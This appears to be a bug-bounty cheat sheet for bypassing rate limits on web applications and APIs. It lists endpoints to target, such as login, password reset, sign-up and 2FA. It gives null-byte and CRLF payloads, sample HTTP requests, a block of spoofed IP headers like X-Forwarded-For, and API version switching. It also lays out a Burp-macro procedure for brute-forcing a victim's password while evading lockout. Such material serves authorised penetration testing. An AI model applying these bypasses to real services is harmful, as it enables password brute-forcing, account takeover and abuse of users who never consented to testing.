This flaw leveraged by malicious actors to perform DDoS, brute force, and bot attacks on APIs. Although it's more than that.
1 - Rate limit on Forget password 2 - Rate limit on Sign-up Page 3 - Rate limit on Login Page 4 - Rate limit on Invite user normal 5 - Rate limit on Invite user using MACROS 6 - Rate limit on 2FA 7 - Rate-limit on Comment and sent messages 8 - Use your own brain somewhere
%00, %0d%0a, %0d, %0a, %09, %0C, %20, ( )space
POST /signup/new/1337 HTTP/1.1
HOST: api.target.com
...
email=hacker%40gmail.com&password=12345678%00
%00, %0d%0a, %0d, %0a, %09, %0C, %20, ( )space
POST /profile/post/like%00 HTTP/2
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Forwared-Host: 127.0.0.1
X-Originating-IP: 127.0.0.2
X-Forwarded-For: 127.0.0.2
X-Remote-IP: 127.0.0.2
X-Remote-Addr: 127.0.0.2
X-Client-IP: 127.0.0.2
X-Host: 127.0.0.2
X-Forwared-Host: 127.0.0.2
X-Originating-IP: 127.0.1
X-Forwarded-For: 127.0.1
X-Remote-IP: 127.0.1
X-Remote-Addr: 127.0.1
X-Client-IP: 127.0.1
X-Host: 127.0.1
X-Forwared-Host: 127.0.1
UserAgent: 'CHANGED_USERAGENT'
GET /accout/passwordreset/?test=test
Use Burp Extension --> Content Type Converter
/api/v2/user/reset_pw --> /api/v1/user/reset_pw or /api/v3/user/reset_pw
- Take Attacker and Victim account
- Identify how many enough login attempts in application
- For-eg. if application gives only 3 attempts, then
- By using burp macros, send the attackers login request 1 time and victim login request 2 time, or alternatively
- If NOT blocked, Repeat the process until we get victim's password
- Shodan
- Censys
- Visit the application with it's IP address
- Do your own research